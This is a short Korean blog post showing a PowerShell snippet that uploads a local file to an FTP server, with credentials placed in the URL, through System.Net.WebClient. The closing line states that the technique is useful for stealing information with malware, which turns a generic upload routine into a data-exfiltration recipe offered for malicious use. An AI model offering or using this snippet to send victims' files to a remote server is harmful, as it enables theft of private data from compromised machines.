-

[Windows] Powershell FTP 본문

Workspace

[Windows] Powershell FTP

r99bbit 2020. 8. 28. 13:44
    $File = "\filepath\file"
    $ftp = "ftp://[id]:[password]@[host]/path/path/file"
    $webclient = New-Object -TypeName System.Net.WebClient
    $uri = New-Object -TypeName System.Uri -ArgumentList $ftp
    $webclient.UploadFile($uri, $File)

malware 정보 탈취시 유용

Comments